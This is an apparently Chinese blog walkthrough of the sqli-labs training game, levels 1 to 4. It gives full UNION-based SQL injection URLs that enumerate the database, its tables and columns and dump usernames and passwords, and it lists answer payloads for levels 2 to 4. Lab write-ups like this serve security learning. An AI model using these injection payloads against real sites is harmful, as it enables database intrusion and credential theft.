老黑在自己的虚拟中装了一个ubuntu14.04版本的镜像,然后只用了三条命令就将这款SQL注入的游戏安装好了,配张图晒一晒。
好了,浪费太多时间了,让我们赶紧开始吧!见证奇迹的时刻到了!!!
less 1
s1: 基本方式 1' and '1' = '1,合成到sql便是,select * from users where id=' 1' and '1' = '1 ‘ ....,将自己的输入 and '1' = ' 也在代码中起到了sql的作用,所以这便是注入的姿态,一是逃脱输入的原本定义,出现在外边,然后充当操作数据库的命令。二是保证不报错。
对于第一个要求,一般需要尝试,视情况而定,先不出招,讲究后发先至,第二种要sql的注释进行注释掉,常用的有--+,--是sql单行注释,+是连接符,同时也有其他的注释,还可以是 #的 url 编码 %23 也可以。
s2:
1 猜测有字段数量:http://IP/sqli-libs/Less-1?id=1' order by 4--+ 2 猜测回显位置:http://IP/sqli-libs/Less-1?id=-1' union select 1,2,3--+ 3 猜测当前数据库名:http://IP/sqli-libs/Less-1?id=-1' union select 1,(select database()),3--+ 4 猜测数据库表名:http://IP/sqli-libs/Less-1?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+ 5 获取数据库中所有表:http://IP/sqli-libs/Less-1?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) --+ 6 获取列名:http://IP/sqli-libs/Less-1?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema =0x7365637572697479 and table_name=0x7573657273)--+ 7 获取具体数据:http://IP/sqli-libs/Less-1?id=-1' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+ 8 获取数据库版本:http://IP/sqli-libs/Less-1?id=-1' union select 1,version(),database()--+
第4行:schema_name是数据库名,information_schema是mysql自带的数据库,起到视图的作用,存储了mysql中所有数据库,数据表,字段,用户,权限等等信息。
第5行:0x7365637572697479 是目标数据库 'security'的16进制,老黑使用'security'也是可以的。
获取了数据表,数据表列,数据表字段值,数据库名已经完成了本次探索。
less2-4 和第一题都很相似,答案如下
1 http://IP/sqli-libs/Less-3?id=-1 union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+ 2 http://IP/sqli-libs/Less-3?id=-1') union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+ 3 http://IP/sqli-libs/Less-4?id=-1") union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+
less5 有些不同,等到明天在测。